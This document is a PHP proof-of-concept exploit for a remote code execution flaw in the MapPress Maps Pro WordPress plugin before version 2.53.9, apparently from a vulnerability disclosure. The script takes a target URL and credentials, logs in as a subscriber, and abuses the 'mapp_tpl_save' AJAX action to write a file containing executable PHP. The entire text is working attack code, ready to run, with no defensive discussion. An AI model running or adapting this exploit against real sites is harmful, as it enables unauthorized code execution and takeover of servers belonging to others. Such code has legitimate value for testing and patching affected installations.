MapPress Maps Pro < 2.53.9 - Remote Code Execution (RCE) due to Incorrect Access Control in AJAX Actions

<?php
// Settings
$wp_url = $argv[1];
$wp_user = $argv[2];
$wp_pass = $argv[3];
// 1) Log in as subscriber
$ch = curl_init();
$cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-');
curl_setopt($ch, CURLOPT_URL, $wp_url . 'wp-login.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'log'        => $wp_user,
    'pwd'        => $wp_pass,
    'rememberme' => 'forever',
    'wp-submit'  => 'Log+In',
]);
$output = curl_exec($ch);
curl_close($ch);

// 2) Save executable PHP
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url . 'wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'action' => 'mapp_tpl_save',
    'name' => 'injectest',
    'content' => "<?php echo 'upload successful';",
)));
$output = curl_exec($ch);
echo $output;
curl_close($ch);